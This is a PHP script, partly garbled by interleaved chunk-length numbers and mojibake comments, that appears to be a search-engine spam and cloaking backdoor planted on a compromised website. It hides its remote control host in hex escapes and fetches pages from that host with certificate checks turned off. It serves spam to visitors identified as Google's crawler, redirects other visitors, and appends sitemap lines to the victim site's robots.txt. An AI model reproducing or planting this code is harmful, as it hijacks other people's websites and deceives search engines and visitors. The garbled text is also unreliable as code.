1 < 2 ?p 3 hp 2 e 3 rro 2 r_ 3 rep 3 ort 2 in 3 g(0 2 ); 2 2 $g 3 et 3 = f 2 il 3 ter 3 _in 2 pu 3 t_a 3 rra 2 y( 2 IN 2 PU 2 T_ 3 GET 2 , 2 FI 3 LTE 2 R_ 2 SA 2 NI 2 TI 3 ZE_ 2 ST 2 RI 2 NG 4 ); 2 3 /* 1 - 19 ------------------------ 2 6 é« 2 ˜é 2 €Ÿ 2 æœ 1 ¬ 2 åœ 2 °ç 2 ¼“ 2 å­ 2 ˜å 1 ‡ 2 ½æ 2 •° 2 1b ------------------------- * 2 / 2 f 2 un 3 cti 3 on 2 ca 3 che 1 _ 4 get( 3 $ke 2 y, 3 $e 3 xpi 2 re 3 = 3 300 2 ) 1 { 7 $ 3 fil 6 e = sy 1 s 6 _get_t 3 emp 2 _d 3 ir( 2 ) 3 . ' 1 / 7 cache_' 4 . m 2 d5 5 ($key 6 ) . '. 4 php' 1 ; 7 i 3 f ( 4 file 3 _ex 3 ist 2 s( 5 $file 3 ) & 2 & 2 (t 3 ime 3 () 1 - 6 filem 5 time( 7 $file)) 2 < 8 $expire 9 ) { 5 r 3 etu 2 rn 5 file 6 _get_c 3 ont 2 en 9 ts($file) 7 ; 7 } 8 return f 3 als 4 e; 1 } 12 function cache_s a et($key, $ 2 da 2 ta 4c ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @ 5 file_ 4 put_ e contents($file 7 , $data 3 , L 2 OC 2 K_ 2 EX 1 ) 6 ; } 25 /* ------------------------- 2 èŽ 2 ·å 2 – 2 çœ 2 Ÿå 1 ® 2 žè 2 ®¿ 2 é— 2 ® 2 IP 2 ï¼ 2 ˆå 1 … 2 ¼å 2 ®¹ 2 C 3 DN 2 / 2 å 2 ä 1 » 2 £ï 2 ¼‰ 29 ------------------------- */ function 6 get_re 2 al 3 _ip 1 ( a ) { $ 4 keys 4 = [ c 'H 2 TT 2 P_ 2 CF 3 _CO 2 NN 2 EC 1 T 4 ING_ 3 IP' 2 , 3 // 2 Cl 3 oud 2 fl 3 are 10 'HTTP_ 2 X_ 2 RE 2 AL 6 _IP', a // 2 Ng 3 inx 1ae9 'HTTP_X_FORWARDED_FOR', // Proxy 'HTTP_CLIENT_IP', 'REMOTE_ADDR' ]; foreach ($keys as $k) { if (!empty($_SERVER[$k])) { $ip = $_SERVER[$k]; if (strpos($ip, ',') !== false) { $ip = trim(explode(',', $ip)[0]); } if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } } return '127.0.0.1'; } /* ------------------------- æ›´å¿«çš„ getCurl() ------------------------- */ function getCurlFast($url) { $cached = cache_get($url); if ($cached !== false) return $cached; $data = ''; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => "Mozilla/5.0" ]); $data = curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get('allow_url_fopen')) { $context = stream_context_create([ "http" => ["timeout" => 8, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => false, "verify_peer_name" => false] ]); $data = @file_get_contents($url, false, $context); } if (!empty($data)) cache_set($url, $data); return $data; } /* ------------------------- URL ä¿¡æ¯ ------------------------- */ function get_url_info(string $type='domain'): string { $host = $_SERVER['HTTP_HOST'] ?? ''; if ($type === 'no_www') return preg_replace('/^www\./i', '', $host); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $base = $protocol . $host; if ($type === 'base') return $base; if ($type === 'full') return $base . ($_SERVER['REQUEST_URI'] ?? ''); return $host; } /* ------------------------- 基础å˜é‡ ------------------------- */ goto ONPuB; ONPuB: $http_type = !empty($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\x66\146" ? "\150\x74\x74\x70\163\72\x2f\x2f" : "\x68\164\164\160\72\x2f\57"; goto O4O9k; O4O9k: $vurl = "\x74\157\56\152\147\141\x6c\x6c\163\x2e\143\157\x6d\x2f"; goto vgv72; vgv72: $qz = substr(str_replace(array("\x77\x77\167\x2e", "\56"), '', $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]), 0, 3); /* ------------------------- è§£æž f 傿•° ------------------------- */ $sz = $iid = ""; if(!empty($_GET)){ $f=reset($_GET); $sp = explode('-', $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } /* ------------------------- è¿œç¨‹æŽ¥å£ ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } /* ------------------------- w= 输出 ------------------------- */ if (!empty($get['w'])) { $params = http_build_query([ 'NOUmber' => $get['NOUmber'] ?? '', 't' => $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $str = getCurlFast("{$surl}?{$params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(ä¿ç•™ kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 判断 ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- éž google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当å‰URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
Sitemap
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0